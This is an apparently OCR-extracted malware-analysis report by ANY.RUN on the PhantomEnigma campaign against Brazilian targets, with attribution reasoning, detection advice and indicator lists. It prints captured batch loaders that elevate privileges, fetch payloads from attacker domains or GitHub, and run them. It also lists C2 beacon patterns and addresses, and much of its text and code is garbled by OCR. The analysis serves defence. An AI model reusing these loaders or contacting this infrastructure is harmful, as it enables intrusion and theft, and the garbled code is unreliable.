» High confidence when combined with the analyst-obtained emails
and the installer-to-BAT second stage

For organizations, treating these arms as unrelated could hide the full scope of the operation,
delay containment, and increase investigation and recovery costs.

yle Hidden —=Command "Start-Process 'S%@' =Verb RunAs

55=<"%PUBLIC%
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cls
@echo off

setlocal enabledelayedexpansion

whoami fgroups | find "5-1-5-32-544" >nul
if %errorlevel% neq 8 |(

powershell -Command “Start-Process cmd.exe -ArgumentlList '/fc \"%~f@\" __ADMIN_=1' -Verb RunAs"
exit /b
)

if "s1t=="_ ADMIN_ =1" (

mode con cols=1@ lines=1 >nul 2>&1
cls >nul 2=&1

)

cd fd “S~dp@"

set COUNT=8

set "DOMAINS [@]=https://webrelayapil.]online/getloader.php"
set "DOMAINS [1]1=https://atual2025[.]1com/getloader.php"

set "DOMAINS [2]=https://notifica-modulo[.]com/getloader.php"
set COUNT=3

set /A INDEX=%RANDOM% %% COUNT

set "SELECTED_URL=!DOMAINS [%INDEXS] !"

if exist "%PUBLIC%\Documents\u.dat" exit /b @

curl -s "!SELECTED_URL!" -o data.json

ell -WindowStyle Hidden -Command ~
A ype -AssemblyName System.Web; $j=Get-Content 'data.json' -Raw|ConvertFrom-Json; if($j.status —eq 'success'){[I0.File]::WriteAllBytes('output.zip', [Convert]::FromBase64String($j.encoded data))} "
if not exist output.zip exit /b 1

Defining the PhantomEnigma Cluster Boundaries

During the investigation, analysts identified several adjacent malware clusters that initially
appeared connected to PhantomEnigma. These included malicious GitHub releases, a help.bat
loader, and StealC activity linked through shared scripts and public metadata.

Further analysis showed that these clusters should not be included in the confirmed
PhantomEnigma activity based on the available evidence.

1 @echo off
setlocal enabledelayedexpansion

set “DOWNLOAD_URL=https://github.com/hothehottest/xaxexexe/releases/download/sadadsad/water-1.zip"
"ZIP_NAME=Tile.zip"
HEXTRACT_DIR=FranzApp"
EXE_NAME=Franz.exe"

et "SCRIPT_DIR=%~dp@"
"ZIP_PATH=5%SCRIPT_DIR%%ZIP_NAME%"
"TARGET_DIR=%SCRIPT_DIR%SEXTRACT DIR%"
set "EXE_PATH=%TARGET_DIR%\%EXE_NAMES"

curl.exe -L -s -0 "%ZIP_PATH%" "%DOWNLOAD_URL%"

if not exist "%ZIP_PATH%" (
exit /b 1
)

if not exist “TARGET_DIR%" (
mkdir “&TARGET_DIR%"
)

where tar.exe >nul 2=&1
if %serrorlevel% equ @ (
tar.exe —xf "“%ZIP_PATH%" -C "%TARGET_DIR%"
) else (
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command “Expand-Archive -Path '&ZIP_PATH%' -DestinationPath '&TARGET_DIR%' -Force"
)

if serrorievels neq @ (
exit /b 1
)

if exist "&ZIP_PATH"
del /f /g "%ZIP_PATH%"
)

if exist "SEXE_PATH%" (
start " /D “STARGET_DIR%" “SEXE_PATHS"
) else (

exit /b 1
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The help.bat / kak[.]is loader uses a logic-identical template across 56 sandbox analyses.
Its execution chain includes get_it.php, Base64-encoded data.json, a password-protected
archive, file staging in PUBLIC\Documents, a timed delay, and MSI execution.

However, this loader did not overlap with the core PhantomEnigma build-chain and backdoor
signals. Instead, it delivered commodity malware such as HijackLoader, Emmenhtal, ClickFix,
and other MSI-based payloads. No PhantomEnigma Node.js backdoor was observed

in this cluster.

The GitHub-to-StealC activity also showed important differences. It lacked the same installer
and backdoor characteristics, used separate infrastructure and registration patterns,

and had a different submission profile. The proposed connection relies partly on GitHub
commit metadata that is not visible in the sandbox and is not enough on its own to confirm

a shared operator.

The evidence therefore supports treating these clusters as adjacent activity that may reuse
common tools or distribution methods, rather than confirmed PhantomEnigma operations.
Keeping them separate helps maintain accurate attribution and prevents unrelated malware
from being grouped into the campaign without sufficient evidence.

shared .com ( )
INNO/NODE BACKDOOR: ?aming ONL;( Eg;?.ﬁ;?(;!'ASLDKD[']COM
H H convergent - °
indexjs /nbw/ + /laravel.php ~ _ feonuer o P EtherHiding/ClearFake.
beacon (attributed ~108-125) NOT PhantomEnigma
[C:Med-High] [REFUTED]
\. J
shared . h
handwriting; hothehottest GitHub >
DELIVERY: commodity =
compromised .gov[.]br portals = O------------nnnn [> (S:ta?li Sgr?];?zlgser[g:gfmlc
73 tasks [C:Med-High] Lo
\. J

CORE BUILD-CHAIN SPINE:
nodejs AND inno AND
delphi AND installer = 231
tasks (100% recall)

?

OPERATOR C2 COHORT:
8 DGA/ police-typosquat .com =
127 tasks [C:High]

' Oficio-PC quishing/ClickFix
B deliveryarm = 99 tasks (shared
| gov hosts) [C:Med-High]

help.bat TEMPLATE, KAKI.]IS LOADER = 56 TASKS:
decoupled payload PE template [C:High] but
Teeelll ’ commodity payloads,
0/56 overlap;
same-operator [C:Low]
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Attribution

The evidence supports the existence of a coordinated campaign focused primarily on Brazil.
The earliest related activity in the dataset dates to January 13, 2026.

One of the strongest delivery findings involved an email sent from a Brazilian police
department. The message passed SPF, DKIM, and DMARC checks, indicating that it was likely
sent through a genuinely compromised mailbox rather than from a simply spoofed address.
The recovered email and the accompanying “Oficio Policia Civil” PDF further confirm the use
of official-looking police communications as a phishing lure.

The GitHub-to-StealC activity also showed important differences. It lacked the same installer
and backdoor characteristics, used separate infrastructure and registration patterns,

and had a different submission profile. The proposed connection relies partly on GitHub
commit metadata that is not visible in the sandbox and is not enough on its own to confirm

a shared operator.

Static discovering

7 phish_alert_GA1.0.99-0.eml| ') Submit to analyze Download
Extracted
Mime: Entropy:

EMAIL

10Cs

phish_alert_GA1.0.99-0.eml

Headers

The assessment is supported by several independent technical signals, including:

e A recurring Delphi/Inno Setup and Node.js build chain

» Patched Boostnote applications containing the malicious index.js backdoor

e The <name> communication pattern, which sends victim system information, including the
computer name and username

e Known campaign domains and seed indicators

o Compromised Brazilian government infrastructure used across related activity

e ThreatFox’s classification of taaeiuep[.]Jcom as associated with Inno Setup, Procuragao

Digital, and Brazil-focused malicious activity
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Based on this evidence, ANY.RUN assesses with high confidence that the observed campaign
is real and primarily focused on Brazil.

The connection between the specific Inno/Node.js backdoor arm and PhantomEnigma

is assessed with medium-high confidence. The build chain, infrastructure, targeting,

and backdoor behavior provide strong supporting evidence, but limited public research
currently connects the PhantomEnigma name directly to this Boostnote-based backdoor.

ANY.RUN analysts identified 231 sandbox analyses sharing the broader build pattern.
Within this group, approximately 108-125 analyses also contained stronger PhantomEnigma
indicators. This more tightly attributed core forms the basis of the campaign assessment,
while the wider cluster provides additional coverage for threat hunting.

The Oficio-PC activity is also linked to the wider operation with medium-high confidence
based on shared compromised government hosts, matching Policia Civil lures, and supporting
delivery evidence. Adjacent help.bat and StealC clusters were kept separate because the
available evidence did not support a confident operator-level connection.

This approach allows defenders to track related activity broadly while maintaining clear
boundaries around what can be directly attributed to PhantomEnigma.

Detection and Monitoring Recommendations

Security teams can use the following methods to detect current PhantomEnigma activity
and track new infrastructure as the campaign evolves.

n Analyze suspicious files and links in an interactive sandbox

Do not stop at an initial clean verdict. Inspect dropped files, process activity,
persistence mechanisms, network requests, and second-stage payloads.

Check PhantomEnigma analysis

§h Malicious activity

Vg - @ D https:/poa.sp.gov.br/doc/KhDvexT9... (D) <
(] Open in browse
T2 New item ~ /| Eopen~ B selectan Qo R Stai 26,17:5 Total time: 187 s
7] Easy access et Select none Win10 64bit 4 i
ew Properties
folder & History Invert select
Open Select -
Indicators: ) B FS ¢
Procuracao.exe Properties X » N
N te ified i Securty Details Previous Versions B
General Compatbiity Digtal Signatures © Restart
» Today (1)
7 Searche:
] V:em ) cy Procure 1:59AM 4 ‘g Procuraca exe
8 This PC || Twedttie: poptcatin (e Processes 58  BrowserData 1 @&D  Actions 1 (ED
B 30 Objects
P Desciption:  QuickSoht Setup
I Desktop a
g — pl| Locaton:  C\Users\admin\Dowrioads v | 64 Q’,‘, Procuracao.tmp | PE | DMP | /SL5="$170282,6466.
& Downloads P Sae: 62.8 MB (65,923,936 bytes) 9k 92 44
& Music =) = P9 | Szeondsk: 628MB (65925120 bytes)
& Pictures < employeesupon,jpg onezosio2iPM i « Boost Note.exe
B Videos Created:  Frday, uly 3, 2026, 11:5946 AM P 563 o0
e Local Disk (C) Modfied:  Friday. July 3, 2026, 11:59:52 AM
¥ Libraries Accessed:  Today, July 3, 2026, 1 minute ago 1 @% Boost Note.exe -type=gpu-process —field-ir...
¥ Network
¥ 561 263 66
[ ControlPanel Atrbutes:  [JReadonly []Hidden Advanced
- Secuty: Thisfile came from another e a —
Bitems 1 item selected 628 MB | computerand might be blockedto L Unbock [ E @3 Boost Note.exe -~type=utility -utility-sub-ty...
elp protect this computer. ks
274 257 47
@3 Boost Note.exe -type=gpu-process —field-r...
323 223 65

O Type here to search "“l“ T T

2 Procuracao.exe A DMP

HTTP Requests 93 Connections DNS Requests Network Threats 101 43 27

@ Timeshift Headers Rep PID Process name Content & Procuracaotmp | PE | [DMP | /SL5="$110048,64665588,
1Kb + text

127.13s H2 POST | 200: 0K 8980 sedge.exe http osoft.com/componentupd 8k 91 44
1Kb ¥ text L
7Kb t text | o Boost Note.exe
s H1 POST | 400: Bad Request
204b 4 text 746 520 81

7Kb t text

H1 POST | 400: Bad Request
204b ¥ text

@ﬁo Boost Note.exe —type=gpu-process ~field-ri...
562 263 66

7Kb 1t text

s H1 POST | 400: Bad Request
203b 4 text

C:):& Boost Note.exe -type=utility ~utility-sub-ty..
Tk s tan s
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Re-detonating a sample can also reveal behavior that did not appear during the first analysis,
particularly when infrastructure was temporarily unavailable or the malware delayed
execution.

E Hunt for the malicious index.js backdoor with YARA

Focus on the recovered backdoor code rather than relying only on domains, file names,
or hashes that may change.

The strongest YARA rule combines several recurring characteristics:

e The JSON.stringify() beacon structure

e COMPUTERNAME and USERNAME collection
e The String.fromCharCode decoding method
e Persistence through setLoginltemSettings

A byte-level rule identified one additional related sandbox analysis outside the original
dataset. A broader rule combining Boostnote and the malicious index.js pattern identified six
analyses involving .gov.br infrastructure, with no unrelated matches in the reviewed dataset.

These rules should initially be used for investigation and threat hunting until they are tested
against a wider sample set.

B Detect beacon traffic with Suricata

Create monitoring alerts for the following patterns in plaintext or decrypted HTTP traffic:
 /laravel.php?api=api&hash=
e &message=PT1n

The /laravel.php pattern appeared in 16 sandbox analyses and produced no unrelated
matches in the reviewed dataset.

These signatures should first be deployed in monitoring mode so teams can validate them
against normal network traffic before using them for automated blocking.

n Correlate build-chain and network behavior

Escalate activity when the recurring PhantomEnigma build chain appears together with one or
more network indicators, such as:

e A /laravel.php beacon
o A known RAILNET IP address
e A system hostname transmitted in a POST request

This correlation identified 59 sandbox analyses and revealed malicious network
behavior in nine analyses that had initially received clean verdicts.
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B Monitor for new compromised government infrastructure

Use the following query to identify activity involving newly compromised Brazilian

government hosts:

License expires: Dec 14,2026 Requests: 94/ 100 Core

°o EX3

3 Analyses 75

‘= TlLookup TIYARA Search

Al B B & R Q

Q. domainName:".gov.br" AND threatName:"nodejs" AND threatName:"inno*"

@ Overview @ Domains27 Q IPs898 @ URLs471 % Events376 [J) Files 254 & Network threats 177 < Synchronization 163
Y/

Risk score by industry 11 ® ASNs 39 Ports 55

51% MSSP
44%
39%
20%
1%
11%

Jul 13, 2026
Jul 13, 2026
Jul 13, 2026
Jul 13, 2026
Jul 13, 2026

w14 20924

unifiedlayer-as-1
akamai-asn1

50108
50104

443 80 50138 50113 50132 50106
53 50107 50110 50112 50122 50123
50116 50129 50139 50111 50130 50096
50086 50097 50093 50141 49946 49974
3478 49977 49976 49945 49978 49985
50007 50009 50010 50026 50024 50063

Technologies
Banking
Telecommunications

akamai-as

microsoft-corp-msn-as-block
Consulting cloudflarenet
Finance

Aliacani amas

Threat names 1 ® Submission countries 9 ® URLs 471

p.gov.br/d

@ http://prefeitur. M40Je06x4W
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
https://edge.mi t.com/servi peri ion/v3/? i
https://copilot.mi ft.com/c/api/user
http://edae.microsoft.com/browsernetworktime/time/1/current?cun2kev=2:DvPhT8tMa...

Jul 13, 2026
Jul 13, 2026
Jul 13, 2026
Jul 13, 2026
Jul 13, 2026
Jul 13.2026

77%
8%

1% cve-2025-24071 Brazil

United States
Australia

India

Argentina

Italv

Domains 27 IPs 898

40.126.31.128
20.103.156.88
204.79.197.203
23.11.40.157
20.86.201.138
199.232.210.172
88.221.169.205
@ 150.171.109.193

Jul 14, 2026
Jul 14, 2026
Jul 14, 2026
Jul 14, 2026
Jul 14, 2026
Jul 14, 2026
Jul 14, 2026
Jul 14. 2026

Jul 13, 2026
Jul 04, 2026
Jul 03, 2026
Jul 02, 2026
Jul 02, 2026
Jul 02, 2026
Jun 29, 2026
lun 26 2026

prefeituradepoa.sp.gov.br
poa.sp.gov.br
www.funrespol.pc.ro.gov.br
camaradelassance.mg.gov.br
site.camaradelassance.mg.gov.br
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Jul 13, 2026 https://config.edge.skype.com/config/v1/Edge/133.0.3065.922clientld=4489578223053

domainName JSON  569932&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirst...

prefeituradepoa.sp.gov.br sha256

Running this search regularly can help teams detect new delivery infrastru
as the operator moves between compromised host
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without disrupting the current workflow.
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Get demo sample

Technical resources: @ APl documentation & SDK documentation
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Compromised .gov.br and .jus.br hosts should be handled separately from attacker-controlled
infrastructure. These are legitimate services that have been compromised, so blocking them
broadly could disrupt access to government resources.

Combining sandbox evidence, YARA hunting, network detection, Tl Lookup, and Tl Feeds can
help security teams uncover related activity earlier, investigate clean verdicts more effectively,
and reduce delays in containment.

Strategic Recommendations for Security Leaders

PhantomEnigma demonstrates how modern campaigns can evade traditional security
processes by combining trusted infrastructure, modular malware, and rapidly changing
delivery paths. Reducing business risk requires more than adding new |IOCs—it requires
improving how investigations are prioritized and connected.

REVIEW HOW "CLEAN" VERDICTS ARE ESCALATED.

Nearly one-third of the analyzed activity initially received a clean verdict. Establish clear
escalation criteria for suspicious files delivered through trusted infrastructure, even when
automated detections do not classify them as malicious.

PRIORITIZE BEHAVIORAL EVIDENCE OVER INFRASTRUCTURE ALONE.

Domains, IP addresses, and URLs can change within days. Detection strategies should also
include recurring malware behavior, execution chains, persistence mechanisms, and network
patterns that remainstable across campaign updates.

TREAT TRUSTED INFRASTRUCTURE AS A POTENTIAL ATTACK VECTOR.

Compromised government portals and legitimate email accounts can bypass traditional trust-
based controls. Ensure security teams validate the behavior behind trusted senders and
domains instead of relying solely on reputation.

CORRELATE INVESTIGATIONS ACROSS SECURITY SOLUTIONS.

Email alerts, endpoint activity, sandbox analysis, and threat intelligence should contribute
to a single investigation. Fragmented workflows make coordinated campaigns appear
as isolated incidents, delaying containment and increasing response costs.

CONTINUOUSLY MONITOR CAMPAIGN EVOLUTION.

As attackers rotate infrastructure and update malware, detection logic should evolve as well.
Regularly review new infrastructure, delivery techniques, and malware variants to prevent
existing detections from becoming outdated.

Organizations that combine behavioral sandbox analysis with continuously updated threat
intelligence can identify coordinated campaigns earlier, reduce investigation time, and limit
the operational and financial impact of evolving threats.
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What to Expect Next

Weekly C2 rotation is likely to continue. New random .com domains may replace
psznaoehteeh[.Jcom, while more police-themed typosquats may appear. One candidate,
oficiospolicia[.Jcom, is already surfacing.

The compromised .gov.br delivery network may also continue to grow. At least seven
additional hosts have already been observed beyond the original 14, showing that the
operator still relies on compromised government infrastructure to make malicious activity
appear more trusted.

Detection may improve, but the visibility gap is unlikely to disappear. Plaintext HTTP beacons
are relatively easy to identify, but the operator can move behind HTTPS and Cloudflare, as
already seen with /nbw/. When this happens, domains and network paths become less useful,
while build-chain analysis and YARA-based detection remain effective.

There is also a possibility that the GitHub-to-StealC and ClickFix activity belongs to the same
operator. If future evidence confirms this link, PhantomEnigma’s capabilities would be broader
than currently assessed.

Security teams should therefore avoid relying on domain blocklists alone. Continuous
sandbox analysis, Tl Lookup monitoring, YARA hunting, and fresh threat intelligence feeds
can help detect new infrastructure, review clean verdicts, and keep protection current

as the campaign changes.

Conclusion

PhantomEnigma remains difficult to track because its infrastructure changes faster than its
code. Domains rotate weekly, compromised government portals change over time, and some
malicious samples still receive clean verdicts. The most reliable signal is the recurring build
chain: a Delphi-compiled Inno Setup installer that deploys a patched Electron application
containing an obfuscated index.js backdoor.

Using ANY.RUN'’s Interactive Sandbox and Threat Intelligence, our analysts connected
activity spread across clean verdicts, rotating infrastructure, and several delivery arms.
Sandbox analysis exposed the execution chain, dropped files, persistence, and live network
behavior, while TI Lookup and YARA helped identify related activity beyond known domains
and file hashes.

The investigation also showed why careful attribution matters. Shared tools, hosting
providers, or naming patterns are not enough to prove that separate clusters belong

to the same operator. By combining code-level evidence, infrastructure analysis, vendor
corroboration, and live re-detonation, ANY.RUN analysts documented a second
PhantomEnigma beacon generation not covered in previous public research.

Security teams can apply these findings to hunt for the stable build chain, investigate clean
analyses with matching network behavior, monitor compromised government infrastructure,
and add validated C2 indicators to their security controls. ANY.RUN provides the sandbox
visibility and threat intelligence needed to detect related activity earlier, shorten
investigations, and contain compromise before it creates wider business impact.
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About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions
trusted by more than 15,000 organizations worldwide, including 74 of the Fortune 100.

Its Interactive Sandbox and solutions help SOC teams analyze suspicious
files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect
related activity across files, infrastructure, and campaigns. This enables faster investigations,
more confident response decisions, and earlier containment of threats before they create
wider business impact.

See how ANY.RUN helps security teams improve threat visibility, reduce investigation
time, and make faster, more confident response decisions.

Improve SOC Efficiency

MITRE ATT&CK

Tactic

Resource Development

Initial Access
Execution

Execution

Execution

Defense Evasion

Defense Evasion

Defense Evasion

Persistence

Persistence

Discovery
Command & Control
Command & Control

Exfiltration

Technique (ID)
Compromise Infrastructure (T1584)

Spearphishing Link (T1566.002)

User Execution: Malicious File(T1204.002)

JavaScript (T1059.007)
PowerShell (T1059.001)
Obfuscated Files (T1027)
Masquerading (T1036)

Sandbox Evasion (T1497)

Registry Run Keys (T1547.001)
Scheduled Task (T1053.005)

System / Domain Info (T1082 / T1016)
Web Protocols (T1071.001)
Proxy (T1090)

Exfi | Over C2 (T1041)

Oficio-PC tasks

>=20 compromised .gov[.]br portals + mail
servers(SPF/DKIM/DMARC pass)

compromised Policia Civil /“Procuragéo
Digital” leading to adownload link

victim runs the Inno-Setup installer

index.js eval() / taskExecute in the Electron
runtime

stdin-fed powershell -ExecutionPolicy
Unrestricted

charCodeAt self-deobfuscating index.js ;
Inno packing

patched Boost Note.exe renamed Grape.exe ;
word-salad install dirs

sc query "Warsaw Technology" ,WMI VM
checks (part of the cleanbucket)

index.js sets HKCU ...+ setLoginltemSettings

KalebAutoRun (sibling getloaderarm)

echo%COMPUTERNAME%.
%USERDNSDOMAIN% recon

hxxp /laravel.php + /nbw/ base64/JSON
sysinfo beacon

Cloudfl are fronting of delivery C2

COMPUTERNAME + USERNAME +mutexin the
beacon body
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IOCs & Artifacts

Compromised gov domains:

areal.rj.gov[.]br
camaradelassance.mg.gov[.]br
camaraparaguacu.sp.gov[.]lbr
circ.rs.gov[.]br
condemat.sp.gov|.]br
ferrazdevasconcelos.sp.gov[.]br
floresdegoias.go.gov[.]br
funrespol.pc.ro.gov[.]br
lontra.mg.gov|[.]br
marapoama.sp.gov[.]br
pinhalgrande.rs.gov|[.]br
poa.sp.gov[.]br
protocolo.sorocaba.sp.gov|.]br
seplag.mt.gov|.]br
policiacivil.pe.gov[.]br

Compromised gov URLs:

hxxps://arcese.urlsand.com/?
u=hxxps%3A%2F%2Fcamaraparaguacu.sp.gov[.]br%2Foficio%2Fx2eDB
GceCFRe=dd4b7717&h=be3cf1fa&f=y&p=y&m=49ql0c4CXBz334D
hxxps://camaradelassance.mg.gov|[.]br
hxxps://camaraparaguacu.sp.gov[.]br/doc
hxxps://camaraparaguacu.sp.gov|[.]br/doc/DcUXKm/S7q88t
hxxps://camaraparaguacu.sp.gov|[.]br/doc/DzAe8Sxvca
hxxps://camaraparaguacu.sp.gov|[.]br/doc/i0OhqHrGFr
hxxps://camaraparaguacu.sp.govl[.]br/doc/js[.]brnUI8Z
hxxps://camaraparaguacu.sp.gov[.]br/doc/naNXNWO0tQ7
hxxps://camaraparaguacu.sp.gov[.]br/doc/RORUSTEpc2
hxxps://camaraparaguacu.sp.gov|.]br/doc/wsVPWyPOiL
hxxps://camaraparaguacu.sp.govl.]br/oficio/mGel1KrXIT
hxxps://cas5-0-urlprotect.trendmicro.com/wis/clicktime/v1/query?
url=hxxps%3a%2f%2fpoa.sp.gov[.]br%2fdown.php&umid=aladif4a-228
b-4622-9a1f-5fd4cbc68d268&rct=1779114363&auth=18576cf8abd7812
271cef15¢8c401c7207caa231-
a9e499076e60cd525b23d7¢667f1929bc0a9b294
hxxps://circ.rs.gov[.]br/OficioDigital.exe
hxxps://condemat.sp.gov[.]br/certificate/APL3SJ9¢e/723406349/
hxxps://ferrazdevasconcelos.sp.gov|[.]Jbr/down.php
hxxps://floresdegoias.go.gov[.]br/levantamento/v6aq7x/prm9yG
hxxps://lontra.mg.gov|.]br/arquivo.php
hxxps://marapoama.sp.gov[.]br/doc/4h7Bae/Mn9K3N
hxxps://marapoama.sp.gov[.]Jbr/documento/L5fHNY/d13mLf
hxxps://marapoama.sp.gov[.]br/levantamento/M5nkwP/dM0OCgC
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e hxxps://marapoama.sp.gov[.]br/oficio/LA9ks3d/Ido9JodAS/vYnerL/fkeASr

e hxxps://poa.sp.gov[.]br/doc/k9I000FolA/4AmZKTCE4ex

e hxxps://poa.sp.gov[.]br/doc/KhDvexT9QX/t4iVaErskj

e hxxps://poa.sp.gov|[.]br/doc/wBvCEWP3tO/oSKmMKG1sw

e hxxps://poa.sp.gov[.]br/documento/3QFKMM71/527058494/

o hxxps://poa.sp.gov[.]br/download/7552PRc3/544840142/

e hxxps://poa.sp.gov[.]br/oficio/anexo/VQC7WEcf

e hxxps://protocolo.sorocaba.sp.gov[.]br/protocolo/kitsigns.jsp?
yd=DtmcOmPD4GdPFOHO6LU6tVN8Im2467QxWGDEOmMFLOgWjSclylunV8r
€%2B0cZMiJ60

e hxxps://protocolo.sorocaba.sp.gov[.]br/protocolo/signkit.jsp?
yd=5F8bz2Lapfi%2Bf41ZRmsNAtfvOIs6zkkpOSPYO4UQqALfOx8Hv%2BZcPRgcBznBIOtH

e hxxps://url.de.m.mimecastprotect.com/s/cFJoCr2PqncDzNRI7U7fmf4fQ3q?
domain=camaraparaguacu.sp.gov|.]br

e hxxps://www.funrespol.pc.ro.gov|[.]br/procedimento/aQbax7Lg4R

e hxxps://www.pinhalgrande.rs.gov[.]br/down.php

Malicious domains:

e 188.137.246[.]1189 91.92.241[.]181
e dahieenloo[.]Jcom

e eeresofeuael.Jcom |

e 0gs.zabbxsoftware[.]Jcom
e oauth.openvpnet[.Jcom
 oficiospolicial.Jcom

e pccvill[.]Jcom

e pccvioo[.]Jcom

e policiacivilmg[.Jcom

e psznaoehteeh[.Jcom

e reitdnreepol[.Jcom
 taaeiuep[.Jcom

e zsxocjarsate[.]Jcom

Load-bearing indicators (defanged; raw in Appendix B):

« Fingerprint (spine): tags delphi A inno A installer A nodejs (231 tasks, rotation-invariant;
cluster/retro-tag only, not paint).

« Backdoor protocol (>=2 generations): */laravel.php?api=api&hash=*&message=PT1n*
(GET, base64 in URL) and POST */nbw/ (JSON [id, COMPUTERNAME, USERNAME, tag];

« Beacon C2 (takedown): 185.219.83[.]191, 188.137.246[.]189 (AS214943 RAILNET).

» Delivery C2 (paint): policiacivilmg[.]Jcom, dahieenloo[.]Jcom, pccvill[.]Jcom, pccvioo[.Jcom,
taaeiuep[.]Jcom, psznaoehteeh[.]Jcom, eeresofeuae[.]Jcom, zsxocjarsate[.]Jcom.

 Origin: 158.94.208[.]120 / 91.92.241[.]181 (AS202412 OMEGATECH-AS, Seychelles).

e Anchor hash: Procuracao_Digital.exe sha256
e0dae1a04b7a3b2ae07377b0fd00681e9633532788870b3709a9e149f3ccf0eO.

» Dropped backdoor hash: index.js sha256 71f6997866...2ab71c (recovered via Gate A/B;
the malicious-file hash the mirror lacked).
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o Sibling arm (paint): novoservidor2026[.Jcom + KalebAutoRun (21/21 malicious, disjoint).

» Oficio delivery arm (paint kit infra): zabbxsoftware[.]Jcom, oauth.openvpnet[.]Jcom
(rotated kit / CS C2), 195.177.94[.]103 / 193, 79.110.49[.132; CS/Shellter loader 7de52b73...
296e1f64.

« Compromised delivery (notify CTIR Gov; do NOT paint): timon.ma.gov/[.]br,
protocolo.sorocaba.sp.govl[.]br, prodoc.ap.gov|.]br, portaldrh.tjba.jus|.]br,
marapoama.sp.gov[.]br, poa.sp.gov[.]br, loginam.sesp.es.gov[.]br,
aplicacao.cbom.mt.gov[.]br.

Example detonations:

o https://app.any.run/tasks/b842921c-adbb-4286-a174-a8dc69450d32
(representative core; beacons live to 185.219.83[.]191 yet verdict = clean)

o https://app.any.run/tasks/ed34b2bd-123f-4463-9¢75-856118618¢c29
(our 2026-07-12 Gate-A re-detonation; live POST zsxocjarsate[.]Jcom/nbw/, verdict
Malicious)

o https://app.any.run/tasks/41ce7f62-d97e-4c84-9f70-dfb5fafcfb39
(C2 beacon pierces Cloudflare, reaching the OMEGATECH origin)

* https://app.any.run/tasks/2803b131-be65-428a-b00d-4217c55dd605
(.gov[.]br delivery)

Sources

 Positive Technologies (PT-ESC), Operation Phantom Enigma, https://global.ptsecurity.com/
en/research/pt-esc-threat-intelligence/operation-phantom-enigma/: actor, Brazil-first
victimology, extension-banker arm.

 Positive Technologies (PT-ESC), Phantom in the flesh: new attacks by Phantom Enigma,
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/phantom-in-the-
flesh-new-attacks-by-phantom-enigma/: getloader.php, KalebAutoRun, MSI banker.

e The Hacker News, Malicious Browser Extensions Infect Over 722 Users Across Latin
America (2025-06): 722-install corroboration.

e abuse.ch ThreatFox: taaeiuep[.Jcom INNOSETUP+ProcuracaoDigital+brazil (conf 75)
and 45.141.119[.]1188 win.stealc, hxxps://threatfox.abuse[.]ch.

e ANY.RUN Threat Intelligence, the PhantomEnigma boostnote/Node.js/DGA-arm writeup
(hunt seed): the only source naming the boostnote/laravel.php arm.

» Oficio-PC arm: Policia Civil SC public QR-summons alert; ANY.RUN agenteV2 blog.

We would like to thank ,an , for sharing an interesting

lead that helped set this investigation in motion. The tip gave our researchers a valuable
starting point for further analysis and validation.
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